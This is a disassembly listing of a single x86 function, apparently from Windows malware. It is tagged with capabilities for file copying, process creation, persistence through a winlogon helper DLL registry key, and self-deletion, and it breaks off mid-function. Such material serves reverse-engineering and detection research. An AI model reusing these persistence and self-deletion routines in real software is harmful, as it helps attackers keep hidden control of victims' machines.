Function at 0x513f6c
Capabilities:
Copy file
Create process on windows
Persist via winlogon helper dll registry key
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x6a
push 0
push 0
dec ecx
jne 0x513f74
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov esi, 0x5231e4
mov ebx, 0x5231e0
xor eax, eax
push ebp
push 0x516674
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
cmp byte [eax + 0x40], 1
jne 0x513fb0
xor edx, edx
call fcn.0042fa50
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
xor edx, edx
call fcn.00445958
mov dl, 1
mov eax, dword [0x435764]
call fcn.00435864
mov dword [0x523224], eax
mov edx, 0x80000002
mov eax, dword [0x523224]
call fcn.00435904
mov cl, 1
mov edx, 0x516690
mov eax, dword [0x523224]
call fcn.0043596c
test al, al
je 0x514021
mov edx, 0x5166e0
mov eax, dword [0x523224]
call fcn.00435e98
test al, al
je 0x514021
mov edx, 0x516690
mov eax, dword [0x523224]
call fcn.00435a90
mov eax, dword [0x523224]
call fcn.004358d4
mov eax, dword [0x523224]
call fcn.004039dc
lea eax, [ebp - 0x40]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
lea eax, [ebp - 0x40]
mov edx, 0x5166f4
call fcn.004049f4
mov eax, dword [ebp - 0x40]
call fcn.00409514
test al, al
je 0x5140a9
lea eax, [ebp - 0x44]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
lea eax, [ebp - 0x44]
mov edx, 0x5166f4
call fcn.004049f4
mov eax, dword [ebp - 0x44]
mov edx, 0x80
call fcn.00409548
lea eax, [ebp - 0x48]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
lea eax, [ebp - 0x48]
mov edx, 0x5166f4
call fcn.004049f4
mov eax, dword [ebp - 0x48]
call fcn.00409664
lea edx, [ebp - 0x4c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0x4c]
mov edx, 0x516714
call fcn.00404b38
je 0x514634
mov edx, dword [0x5231c4]
mov eax, 0x516720
call fcn.00404d30
test eax, eax
jle 0x514262
mov eax, dword [0x5231c8]
mov edx, 0x51672c
call fcn.00404b38
je 0x51410b
mov eax, dword [0x5231c8]
mov edx, 0x516738
call fcn.00404b38
jne 0x5141ac
lea eax, [ebp - 8]
mov edx, 0x516744
call fcn.004047c4
lea eax, [ebp - 0xc]
mov edx, 0x516774
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 0x5167cc
call fcn.004047c4
lea eax, [ebp - 0x14]
mov edx, 0x516824
call fcn.004047c4
lea eax, [ebp - 0x18]
mov edx, 0x51687c
call fcn.004047c4
lea eax, [ebp - 0x1c]
mov edx, 0x5168d4
call fcn.004047c4
lea eax, [ebp - 0x20]
mov edx, 0x51692c
call fcn.004047c4
lea eax, [ebp - 0x24]
mov edx, 0x516984
call fcn.004047c4
lea eax, [ebp - 0x28]
mov edx, 0x5169d0
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x516a28
call fcn.004047c4
lea eax, [ebp - 0x30]
mov edx, 0x516a80
call fcn.004047c4
lea eax, [ebp - 0x34]
mov edx, 0x516aac
call fcn.004047c4
jmp 0x514789
mov eax, dword [0x5231c8]
mov edx, 0x516ac8
call fcn.00404b38
jne 0x514789
lea eax, [ebp - 8]
mov edx, 0x516ad4
call fcn.004047c4
lea eax, [ebp - 0xc]
mov edx, 0x516b04
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 0x516b5c
call fcn.004047c4
lea eax, [ebp - 0x14]
mov edx, 0x516bb4
call fcn.004047c4
lea eax, [ebp - 0x18]
mov edx, 0x516c0c
call fcn.004047c4
lea eax, [ebp - 0x1c]
mov edx, 0x516c64
call fcn.004047c4
lea eax, [ebp - 0x20]
mov edx, 0x516cbc
call fcn.004047c4
lea eax, [ebp - 0x24]
mov edx, 0x516d14
call fcn.004047c4
lea eax, [ebp - 0x28]
mov edx, 0x516d60
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x516db8
call fcn.004047c4
lea eax, [ebp - 0x30]
mov edx, 0x516e10
call fcn.004047c4
lea eax, [ebp - 0x34]
mov edx, 0x516e3c
call fcn.004047c4
jmp 0x514789
mov edx, dword [0x5231c4]
mov eax, 0x516e58
call fcn.00404d30
test eax, eax
jle 0x51431b
lea eax, [ebp - 8]
mov edx, 0x516e64
call fcn.004047c4
lea eax, [ebp - 0xc]
mov edx, 0x516e94
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 0x516eec
call fcn.004047c4
lea eax, [ebp - 0x14]
mov edx, 0x516f44
call fcn.004047c4
lea eax, [ebp - 0x18]
mov edx, 0x516f9c
call fcn.004047c4
lea eax, [ebp - 0x1c]
mov edx, 0x516ff4
call fcn.004047c4
lea eax, [ebp - 0x20]
mov edx, 0x51704c
call fcn.004047c4
lea eax, [ebp - 0x24]
mov edx, 0x5170a4
call fcn.004047c4
lea eax, [ebp - 0x28]
mov edx, 0x5170f0
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x517148
call fcn.004047c4
lea eax, [ebp - 0x30]
mov edx, 0x5171a0
call fcn.004047c4
lea eax, [ebp - 0x34]
mov edx, 0x5171cc
call fcn.004047c4
jmp 0x514789
mov edx, dword [0x5231c4]
mov eax, 0x5171e8
call fcn.00404d30
test eax, eax
jle 0x51449f
mov eax, dword [0x5231c8]
mov edx, 0x516ac8
call fcn.00404b38
jne 0x5143e9
lea eax, [ebp - 8]
mov edx, 0x5171f4
call fcn.004047c4
lea eax, [ebp - 0xc]
mov edx, 0x516b04
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 0x517224
call fcn.004047c4
lea eax, [ebp - 0x14]
mov edx, 0x51727c
call fcn.004047c4
lea eax, [ebp - 0x18]
mov edx, 0x5172d4
call fcn.004047c4
lea eax, [ebp - 0x1c]
mov edx, 0x51732c
call fcn.004047c4
lea eax, [ebp - 0x20]
mov edx, 0x517384
call fcn.004047c4
lea eax, [ebp - 0x24]
mov edx, 0x5173dc
call fcn.004047c4
lea eax, [ebp - 0x28]
mov edx, 0x517428
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x517480
call fcn.004047c4
lea eax, [ebp - 0x30]
mov edx, 0x5174d8
call fcn.004047c4
lea eax, [ebp - 0x34]
mov edx, 0x516e3c
call fcn.004047c4
jmp 0x514789
mov eax, dword [0x5231c8]
mov edx, 0x51672c
call fcn.00404b38
jne 0x514789
lea eax, [ebp - 8]
mov edx, 0x517504
call fcn.004047c4
lea eax, [ebp - 0xc]
mov edx, 0x516774
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 0x517534
call fcn.004047c4
lea eax, [ebp - 0x14]
mov edx, 0x51758c
call fcn.004047c4
lea eax, [ebp - 0x18]
mov edx, 0x5175e4
call fcn.004047c4
lea eax, [ebp - 0x1c]
mov edx, 0x51763c
call fcn.004047c4
lea eax, [ebp - 0x20]
mov edx, 0x517694
call fcn.004047c4
lea eax, [ebp - 0x24]
mov edx, 0x5176ec
call fcn.004047c4
lea eax, [ebp - 0x28]
mov edx, 0x517738
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x517790
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x5177e8
call fcn.004047c4
lea eax, [ebp - 0x34]
mov edx, 0x516aac
call fcn.004047c4
jmp 0x514789
mov edx, dword [0x5231c4]
mov eax, 0x517814
call fcn.00404d30
test eax, eax
jle 0x514789
mov eax, dword [0x5231c8]
mov edx, 0x51672c
call fcn.00404b38
je 0x5144dd
mov eax, dword [0x5231c8]
mov edx, 0x516738
call fcn.00404b38
jne 0x51457e
lea eax, [ebp - 8]
mov edx, 0x517824
call fcn.004047c4
lea eax, [ebp - 0xc]
mov edx, 0x517854
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 0x5178ac
call fcn.004047c4
lea eax, [ebp - 0x14]
mov edx, 0x517904
call fcn.004047c4
lea eax, [ebp - 0x18]
mov edx, 0x51795c
call fcn.004047c4
lea eax, [ebp - 0x1c]
mov edx, 0x5179b4
call fcn.004047c4
lea eax, [ebp - 0x20]
mov edx, 0x517a0c
call fcn.004047c4
lea eax, [ebp - 0x24]
mov edx, 0x517a64
call fcn.004047c4
lea eax, [ebp - 0x28]
mov edx, 0x517ab0
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x517b08
call fcn.004047c4
lea eax, [ebp - 0x30]
mov edx, 0x517b60
call fcn.004047c4
lea eax, [ebp - 0x34]
mov edx, 0x517b8c
call fcn.004047c4
jmp 0x514789
mov eax, dword [0x5231c8]
mov edx, 0x516ac8
call fcn.00404b38
jne 0x514789
lea eax, [ebp - 8]
mov edx, 0x517ba8
call fcn.004047c4
lea eax, [ebp - 0xc]
mov edx, 0x517854
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 0x517bd8
call fcn.004047c4
lea eax, [ebp - 0x14]
mov edx, 0x517c30
call fcn.004047c4
lea eax, [ebp - 0x18]
mov edx, 0x517c88
call fcn.004047c4
lea eax, [ebp - 0x1c]
mov edx, 0x517ce0
call fcn.004047c4
lea eax, [ebp - 0x20]
mov edx, 0x517d38
call fcn.004047c4
lea eax, [ebp - 0x24]
mov edx, 0x517d90
call fcn.004047c4
lea eax, [ebp - 0x28]
mov edx, 0x517ddc
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x517e34
call fcn.004047c4
lea eax, [ebp - 0x30]
mov edx, 0x517e8c
call fcn.004047c4
lea eax, [ebp - 0x34]
mov edx, 0x517b8c
call fcn.004047c4
jmp 0x514789
mov edx, dword [0x5231c4]
mov eax, 0x5171e8
call fcn.00404d30
test eax, eax
jle 0x5146ed
lea eax, [ebp - 8]
mov edx, 0x517eb8
call fcn.004047c4
lea eax, [ebp - 0xc]
mov edx, 0x517ee8
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 0x517f40
call fcn.004047c4
lea eax, [ebp - 0x14]
mov edx, 0x517f98
call fcn.004047c4
lea eax, [ebp - 0x18]
mov edx, 0x517ff0
call fcn.004047c4
lea eax, [ebp - 0x1c]
mov edx, 0x517ce0
call fcn.004047c4
lea eax, [ebp - 0x20]
mov edx, 0x518048
call fcn.004047c4
lea eax, [ebp - 0x24]
mov edx, 0x5180a0
call fcn.004047c4
lea eax, [ebp - 0x28]
mov edx, 0x5180ec
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x518144
call fcn.004047c4
lea eax, [ebp - 0x30]
mov edx, 0x51819c
call fcn.004047c4
lea eax, [ebp - 0x34]
mov edx, 0x5181c8
call fcn.004047c4
jmp 0x514789
lea eax, [ebp - 8]
mov edx, 0x5181e4
call fcn.004047c4
lea eax, [ebp - 0xc]
mov edx, 0x518214
call fcn.004047c4
lea eax, [ebp - 0x10]
mov edx, 0x51826c
call fcn.004047c4
lea eax, [ebp - 0x14]
mov edx, 0x5182c4
call fcn.004047c4
lea eax, [ebp - 0x18]
mov edx, 0x51831c
call fcn.004047c4
lea eax, [ebp - 0x1c]
mov edx, 0x518374
call fcn.004047c4
lea eax, [ebp - 0x20]
mov edx, 0x5183cc
call fcn.004047c4
lea eax, [ebp - 0x24]
mov edx, 0x518424
call fcn.004047c4
lea eax, [ebp - 0x28]
mov edx, 0x518470
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x5184c8
call fcn.004047c4
lea eax, [ebp - 0x2c]
mov edx, 0x518520
call fcn.004047c4
lea eax, [ebp - 0x34]
mov edx, 0x5181c8
call fcn.004047c4
mov dl, 1
mov eax, dword [0x41717c]
call fcn.004039ac
mov dword [esi], eax
mov edx, 0x51854c
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51857c
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 8]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0xc]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x10]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x14]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x18]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x1c]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x24]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5185cc
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 8]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x518614
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 8]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0xc]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x10]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x14]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x18]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x1c]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x20]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x24]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x28]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x2c]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x30]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x518660
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5186b4
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5186f0
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, dword [ebp - 0x34]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5231d0
lea eax, [ebp - 0x5c]
call fcn.00403038
mov edx, 0x518718
lea eax, [ebp - 0x5c]
mov cl, 0xa
call fcn.00403008
lea edx, [ebp - 0x5c]
lea eax, [ebp - 0x50]
call fcn.00404990
mov edx, dword [ebp - 0x50]
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x74]
lea eax, [ebp - 0x64]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x64]
push 0x51872c
lea eax, [ebp - 0x68]
mov edx, 0x5231d0
call fcn.00404990
push dword [ebp - 0x68]
push 0x518744
lea eax, [ebp - 0x60]
mov edx, 4
call fcn.00404aac
mov eax, dword [ebp - 0x60]
xor edx, edx
call fcn.00510c30
mov edx, 0x5231d0
lea eax, [ebp - 0x5c]
call fcn.00403038
mov edx, 0x518718
lea eax, [ebp - 0x5c]
mov cl, 0xa
call fcn.00403008
lea edx, [ebp - 0x5c]
lea eax, [ebp - 0x6c]
call fcn.00404990
mov eax, dword [ebp - 0x6c]
call fcn.00409664
mov eax, dword [esi]
call fcn.004039dc
lea eax, [ebp - 0x70]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0x70]
mov eax, 0x5231cc
mov ecx, 0x518758
call fcn.00404a38
lea eax, [ebp - 0x74]
mov ecx, 0x51876c
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, dword [ebp - 0x74]
mov edx, 0x80
call fcn.00409548
lea eax, [ebp - 0x78]
mov ecx, 0x518780
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, dword [ebp - 0x78]
mov edx, 0x80
call fcn.00409548
lea eax, [ebp - 0x7c]
mov ecx, 0x51876c
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, dword [ebp - 0x7c]
call fcn.00409664
lea eax, [ebp - 0x80]
mov ecx, 0x518780
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, dword [ebp - 0x80]
call fcn.00409664
mov eax, 0x5231cc
mov edx, 0x518794
call fcn.004049f4
lea eax, [ebp - 0x84]
mov ecx, 0x51876c
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, dword [ebp - 0x84]
mov edx, 0x80
call fcn.00409548
lea eax, [ebp - 0x88]
mov ecx, 0x518780
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, dword [ebp - 0x88]
mov edx, 0x80
call fcn.00409548
lea eax, [ebp - 0x8c]
mov ecx, 0x51876c
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, dword [ebp - 0x8c]
call fcn.00409664
lea eax, [ebp - 0x90]
mov ecx, 0x518780
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, dword [ebp - 0x90]
call fcn.00409664
lea eax, [ebp - 0x94]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0x94]
mov eax, 0x5231b4
mov ecx, 0x5187a8
call fcn.00404a38
mov eax, 0x523088
mov ecx, 0x5187cc
mov edx, dword [0x5231b4]
call fcn.00404a38
mov eax, 0x52308c
mov ecx, 0x5187d8
mov edx, dword [0x5231b4]
call fcn.00404a38
mov eax, 0x523090
mov ecx, 0x5187e4
mov edx, dword [0x5231b4]
call fcn.00404a38
mov eax, 0x523094
mov ecx, 0x5187f0
mov edx, dword [0x5231b4]
call fcn.00404a38
lea eax, [ebp - 0x98]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0x98]
mov eax, 0x523050
mov ecx, 0x5187fc
call fcn.00404a38
lea eax, [ebp - 0x9c]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0x9c]
mov eax, 0x523054
mov ecx, 0x51881c
call fcn.00404a38
lea eax, [ebp - 0xa0]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0xa0]
mov eax, 0x523058
mov ecx, 0x51886c
call fcn.00404a38
lea eax, [ebp - 0xa4]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0xa4]
mov eax, 0x52305c
mov ecx, 0x51888c
call fcn.00404a38
mov dword [ebx], 1
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x523084]
call fcn.00409514
test al, al
je 0x514c00
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x523084]
mov edx, 0x80
call fcn.00409548
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x523084]
call fcn.00409664
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x52304c]
call fcn.00409514
test al, al
je 0x514c33
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x52304c]
mov edx, 0x80
call fcn.00409548
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x52304c]
call fcn.00409664
inc dword [ebx]
cmp dword [ebx], 5
jne 0x514bcd
lea edx, [ebp - 0xa8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0xa8]
mov edx, 0x516714
call fcn.00404b38
je 0x515e92
mov eax, dword [0x5231c4]
mov edx, 0x5188ac
call fcn.00404b38
jne 0x514cca
mov eax, dword [0x5231c8]
mov edx, 0x516ac8
call fcn.00404b38
jne 0x514cca
push 0x5188bc
lea eax, [ebp - 0xb0]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0xb0]
push 0x5188e8
lea eax, [ebp - 0xac]
mov edx, 3
call fcn.00404aac
mov eax, dword [ebp - 0xac]
xor edx, edx
call fcn.00510c30
jmp 0x514d17
push 0x5188f4
push dword [0x5231c8]
push 0x518914
lea eax, [ebp - 0xb8]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0xb8]
push 0x5188e8
lea eax, [ebp - 0xb4]
mov edx, 5
call fcn.00404aac
mov eax, dword [ebp - 0xb4]
xor edx, edx
call fcn.00510c30
lea edx, [ebp - 0xc0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0xc0]
lea edx, [ebp - 0xbc]
call fcn.00408a40
mov edx, dword [ebp - 0xbc]
mov eax, 0x5231b8
call fcn.00404780
lea edx, [ebp - 0xc4]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0xc4]
mov edx, 0x518928
call fcn.00404b38
je 0x51505b
mov eax, dword [0x5231f0]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x514ebf
inc eax
mov dword [ebp - 0x3c], eax
mov dword [0x5231dc], 0
mov dl, 1
mov eax, dword [0x41717c]
call fcn.004039ac
mov dword [0x5231e8], eax
mov eax, dword [0x5231e8]
push eax
lea ecx, [ebp - 0xc8]
mov edx, dword [0x5231dc]
mov eax, dword [0x5231f0]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0xc8]
call fcn.00404bec
mov ecx, eax
mov edx, 0x518930
mov eax, 0x518950
call fcn.00418f4c
lea edx, [ebp - 0xcc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
call fcn.00445a38
mov eax, dword [ebp - 0xcc]
push eax
lea ecx, [ebp - 0xd0]
mov edx, 3
mov eax, dword [0x5231e8]
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0xd0]
pop eax
call fcn.00404b38
jne 0x514eb0
mov al, byte [0x518970]
push eax
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0xd8]
mov edx, 7
mov eax, dword [0x5231e8]
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
mov edx, 0x51897c
call fcn.0040de80
mov edx, dword [ebp - 0xd4]
mov eax, 0x5231cc
call fcn.00404780
lea ecx, [ebp - 0xdc]
mov edx, 2
mov eax, dword [0x5231e8]
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0xdc]
mov eax, 0x5231bc
call fcn.00404780
lea ecx, [ebp - 0xe0]
mov edx, 1
mov eax, dword [0x5231e8]
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0xe0]
mov eax, 0x5231c0
call fcn.00404780
inc dword [0x5231dc]
dec dword [ebp - 0x3c]
jne 0x514d97
mov eax, dword [0x5231f0]
call fcn.004039dc
mov eax, 0x523064
mov ecx, 0x518988
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, 0x523068
mov ecx, 0x51899c
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, 0x52306c
mov ecx, 0x5189b0
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, 0x523070
mov ecx, 0x5189c4
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, 0x523078
mov ecx, 0x5189d8
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, 0x52307c
mov ecx, 0x5189ec
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, 0x523080
mov ecx, 0x518a00
mov edx, dword [0x5231cc]
call fcn.00404a38
mov eax, 0x523084
mov ecx, 0x518a14
mov edx, dword [0x5231cc]
call fcn.00404a38
mov dword [ebx], 1
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x523060]
call fcn.00409514
test al, al
je 0x514fb0
push 0
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x523084]
call fcn.00404bec
push eax
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x523060]
call fcn.00404bec
push eax
call sub.kernel32.dll_CopyFileA
jmp 0x515000
push 0x518a28
mov eax, dword [ebx]
push dword [eax*4 + 0x523074]
push 0x518a48
lea eax, [ebp - 0xe8]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0xe8]
push 0x518a58
lea eax, [ebp - 0xe4]
mov edx, 5
call fcn.00404aac
mov eax, dword [ebp - 0xe4]
xor edx, edx
call fcn.00510c30
push 0
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x52304c]
call fcn.00404bec
push eax
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x523084]
call fcn.00404bec
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x52304c]
mov edx, 5
call fcn.00409548
mov eax, dword [ebx]
mov eax, dword [eax*4 + 0x523084]
mov edx, 5
call fcn.00409548
inc dword [ebx]
cmp dword [ebx], 5
jne 0x514f77
jmp 0x5150fa
push 0x518a74
lea eax, [ebp - 0xf0]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0xf0]
push 0x518ab0
lea eax, [ebp - 0xec]
mov edx, 3
call fcn.00404aac
mov eax, dword [ebp - 0xec]
xor edx, edx
call fcn.00510c30
lea eax, [ebp - 0xf8]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0xf8]
push 0x518ac4
lea eax, [ebp - 0xfc]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0xfc]
push 0x518ae4
lea eax, [ebp - 0xf4]
mov edx, 4
call fcn.00404aac
mov eax, dword [ebp - 0xf4]
xor edx, edx
call fcn.00510c30
mov eax, dword [0x5231c0]
mov edx, 0x518b04
call fcn.00404b38
jne 0x51511b
mov eax, 0x5231bc
mov edx, dword [0x5231c0]
call fcn.00404780
mov eax, dword [0x5231c0]
mov edx, 0x518b14
call fcn.00404b38
jne 0x51513c
mov eax, 0x5231bc
mov edx, dword [0x5231c0]
call fcn.00404780
mov eax, dword [0x5231bc]
mov edx, 0x518b28
call fcn.00404b38
jne 0x51515c
mov eax, 0x5231bc
mov edx, 0x518b38
call fcn.00404780
mov eax, dword [0x5231bc]
mov edx, 0x518b44
call fcn.00404b38
jne 0x51517c
mov eax, 0x5231bc
mov edx, 0x518b58
call fcn.00404780
mov eax, dword [0x5231c0]
mov edx, 0x518b68
call fcn.00404b38
jne 0x51519c
mov eax, 0x5231bc
mov edx, 0x518b7c
call fcn.00404780
mov eax, dword [0x5231bc]
mov edx, 0x518b8c
call fcn.00404b38
je 0x5151be
mov eax, dword [0x5231bc]
mov edx, 0x518ba0
call fcn.00404b38
jne 0x5151cd
mov eax, 0x5231bc
mov edx, 0x518bb4
call fcn.00404780
lea eax, [ebp - 0x100]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0x100]
mov eax, 0x523088
mov ecx, 0x518bc4
call fcn.00404a38
lea eax, [ebp - 0x104]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
mov edx, dword [ebp - 0x104]
mov eax, 0x523090
mov ecx, 0x518be4
call fcn.00404a38
mov eax, dword [0x523088]
call fcn.00409514
test al, al
je 0x515248
mov edx, 0x80
mov eax, dword [0x523088]
call fcn.00409548
mov eax, dword [0x523088]
call fcn.00409664
mov eax, dword [0x523090]
call fcn.00409514
test al, al
je 0x51526f
mov edx, 0x80
mov eax, dword [0x523090]
call fcn.00409548
mov eax, dword [0x523090]
call fcn.00409664
push 0x518c04
push dword [0x5231bc]
push 0x518c34
lea eax, [ebp - 0x10c]
mov edx, 0x5231d0
call fcn.00404990
push dword [ebp - 0x10c]
push 0x5188e8
lea eax, [ebp - 0x108]
mov edx, 5
call fcn.00404aac
mov eax, dword [ebp - 0x108]
xor edx, edx
call fcn.00510c30
mov edx, 0x5231d0
lea eax, [ebp - 0x118]
call fcn.00403038
mov edx, 0x518c3c
lea eax, [ebp - 0x118]
mov cl, 3
call fcn.00403008
lea edx, [ebp - 0x118]
lea eax, [ebp - 0x114]
call fcn.00404990
push dword [ebp - 0x114]
push dword [0x5231bc]
push 0x518c48
lea eax, [ebp - 0x110]
mov edx, 3
call fcn.00404aac
mov eax, dword [ebp - 0x110]
call fcn.00409514
test al, al
je 0x515421
mov edx, 0x518c4c
lea eax, [ebp - 0x138]
call fcn.00403038
mov edx, 0x5231d0
lea eax, [ebp - 0x138]
mov cl, 0x16
call fcn.00403008
lea edx, [ebp - 0x138]
lea eax, [ebp - 0x150]
call fcn.00403038
mov edx, 0x518c3c
lea eax, [ebp - 0x150]
mov cl, 0x17
call fcn.00403008
lea edx, [ebp - 0x150]
lea eax, [ebp - 0x120]
call fcn.00404990
push dword [ebp - 0x120]
push dword [0x5231bc]
push 0x518c34
lea eax, [ebp - 0x154]
mov edx, 0x5230a0
mov ecx, pe_nt_image_headers32
call fcn.0040499c
push dword [ebp - 0x154]
